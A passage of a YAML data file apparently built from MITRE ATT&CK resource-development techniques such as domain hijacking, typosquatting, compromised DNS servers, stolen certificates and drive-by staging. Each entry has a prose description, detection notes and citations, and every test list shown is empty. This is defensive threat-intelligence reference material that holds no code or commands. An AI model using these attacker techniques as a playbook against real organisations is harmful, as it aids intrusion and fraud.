      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      - source_name: ICANNDomainNameHijacking
        description: 'ICANN Security and Stability Advisory Committee. (2005, July
          12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved
          March 6, 2017.'
        url: https://www.icann.org/groups/ssac/documents/sac-007-en
      - source_name: Talos DNSpionage Nov 2018
        url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
        description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign
          Targets Middle East. Retrieved October 9, 2020.
      - source_name: FireEye EPS Awakens Part 2
        description: Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved
          January 22, 2016.
        url: https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
      - source_name: NSA NCSC Turla OilRig
        url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
        description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla
          Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October
          16, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Compromise Infrastructure
      description: |-
        Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.

        Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)
      id: attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:04:40.423Z'
      created: '2020-10-01T00:36:30.759Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection difficult for defenders. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1583.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1583.002
        url: https://attack.mitre.org/techniques/T1583/002
      - source_name: Unit42 DNS Mar 2019
        url: https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/
        description: 'Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can
          be (ab)used by malicious actors. Retrieved October 3, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DNS Server
      description: |-
        Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.

        By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)
      id: attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:49:49.702Z'
      created: '2020-10-01T00:40:45.279Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1584.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1584.002
        url: https://attack.mitre.org/techniques/T1584/002
      - source_name: Talos DNSpionage Nov 2018
        url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
        description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign
          Targets Middle East. Retrieved October 9, 2020.
      - source_name: FireEye DNS Hijack 2019
        url: https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
        description: 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS
          Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October
          9, 2020.'
      - source_name: CiscoAngler
        description: 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking
          in the Domain Shadows. Retrieved March 6, 2017.'
        url: https://blogs.cisco.com/security/talos/angler-domain-shadowing
      - source_name: Proofpoint Domain Shadowing
        url: https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows
        description: 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising
          campaigns use domain shadowing to pull in Angler EK. Retrieved October 16,
          2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      description: |-
        Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.

        By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)
      name: DNS Server
      id: attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:01:54.609Z'
      created: '2020-10-01T00:54:30.869Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1587:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1587
        url: https://attack.mitre.org/techniques/T1587
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      - source_name: Kaspersky Sofacy
        description: Kaspersky Lab's Global Research and Analysis Team. (2015, December
          4). Sofacy APT hits high profile targets with updated toolset. Retrieved
          December 10, 2015.
        url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
      - source_name: Bitdefender StrongPity June 2020
        url: https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
        description: Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing
          Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.
      - source_name: Talos Promethium June 2020
        url: https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
        description: Mercer, W. et al. (2020, June 29). PROMETHIUM extends global
          reach with StrongPity3 APT. Retrieved July 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Develop Capabilities
      description: |-
        Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

        As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.
      id: attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:08:33.511Z'
      created: '2020-10-01T01:30:00.877Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Defense Evasion or Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1587.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1587.003
        url: https://attack.mitre.org/techniques/T1587/003
      - source_name: Splunk Kovar Certificates 2017
        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
          Certificates. Retrieved October 16, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Digital Certificates
      description: |-
        Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

        Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).

        After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.
      id: attack-pattern--1cec9319-743b-4840-bb65-431547bce82a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:33:38.589Z'
      created: '2020-10-01T01:42:24.974Z'
      x_mitre_detection: |-
        Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)

        Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1588.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1588.004
        url: https://attack.mitre.org/techniques/T1588/004
      - description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack
          Shows Total Compromise of CA Servers. Retrieved March 6, 2017.
        source_name: DiginotarCompromise
        url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
      - source_name: Let's Encrypt FAQ
        url: https://letsencrypt.org/docs/faq/
        description: Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved
          October 15, 2020.
      - source_name: Splunk Kovar Certificates 2017
        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
          Certificates. Retrieved October 16, 2020.
      - source_name: Recorded Future Beacon Certificates
        url: https://www.recordedfuture.com/cobalt-strike-servers/
        description: Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying
          Rogue Cobalt Strike Servers. Retrieved October 16, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Digital Certificates
      description: |-
        Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.

        Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.

        Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)

        After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.
      id: attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:32:49.507Z'
      created: '2020-10-01T02:14:18.044Z'
      x_mitre_detection: |-
        Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)

        Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1583.001:
    technique:
      created: '2020-09-30T17:09:31.878Z'
      modified: '2021-04-15T02:50:38.792Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      type: attack-pattern
      id: attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3
      description: |-
        Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

        Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)

        Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)
      name: Domains
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1583.001
        url: https://attack.mitre.org/techniques/T1583/001
      - external_id: CAPEC-630
        source_name: capec
        url: https://capec.mitre.org/data/definitions/630.html
      - source_name: CISA MSS Sep 2020
        url: https://us-cert.cisa.gov/ncas/alerts/aa20-258a
        description: 'CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry
          of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October
          1, 2020.'
      - source_name: FireEye APT28
        description: 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE
          OPERATIONS?. Retrieved August 19, 2015.'
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
      - source_name: PaypalScam
        description: Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI'
          scam. Retrieved March 2, 2017.
        url: https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/
      - source_name: CISA IDN ST05-016
        url: https://us-cert.cisa.gov/ncas/tips/ST05-016
        description: 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding
          Internationalized Domain Names. Retrieved October 20, 2020.'
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.
      x_mitre_contributors:
      - Wes Hurd
      - Vinayak Wadhwa, Lucideus
      - Deloitte Threat Library Team
    atomic_tests: []
  T1584.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1584.001
        url: https://attack.mitre.org/techniques/T1584/001
      - source_name: ICANNDomainNameHijacking
        description: 'ICANN Security and Stability Advisory Committee. (2005, July
          12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved
          March 6, 2017.'
        url: https://www.icann.org/groups/ssac/documents/sac-007-en
      - source_name: Microsoft Sub Takeover 2020
        url: https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover
        description: Microsoft. (2020, September 29). Prevent dangling DNS entries
          and avoid subdomain takeover. Retrieved October 12, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domains
      description: |-
        Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.

        Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)
      id: attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:02:43.030Z'
      created: '2020-10-01T00:51:28.513Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1608.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1608.004
        url: https://attack.mitre.org/techniques/T1608/004
      - source_name: FireEye CFR Watering Hole 2012
        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
          Retrieved December 18, 2020.
      - source_name: Gallagher 2015
        description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking
          group hacked 100+ websites to use as “watering holes”. Retrieved January
          25, 2016.
        url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Drive-by Target
      description: |-
        Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).

        Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)

        Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.

        Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
      id: attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-27T17:52:55.302Z'
      created: '2021-03-17T20:33:20.127Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on other phases of the adversary lifecycle, such as
        [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation
        for Client Execution](https://attack.mitre.org/techniques/T1203).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1585.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1585.002
        url: https://attack.mitre.org/techniques/T1585/002
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      - source_name: Trend Micro R980 2016
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/
        description: Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware
          Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Email Accounts
      description: |-
        Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)

        To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)
      id: attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:09:59.862Z'
      created: '2020-10-01T01:09:53.217Z'
      x_mitre_detection: 'Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1586.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1586.002
        url: https://attack.mitre.org/techniques/T1586/002
      - source_name: AnonHBGary
        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
          story of the HBGary hack. Retrieved March 9, 2017.'
        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Email Accounts
      description: |-
        Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).

        A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

        Adversaries can use a compromised email account to hijack existing email threads with targets of interest.
      id: attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:57:25.544Z'
      created: '2020-10-01T01:20:53.104Z'
      x_mitre_detection: 'Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1585:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1585
        url: https://attack.mitre.org/techniques/T1585
      - source_name: NEWSCASTER2014
        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
      - source_name: BlackHatRobinSage
        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
          March 6, 2017.
        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Establish Accounts
      description: |-
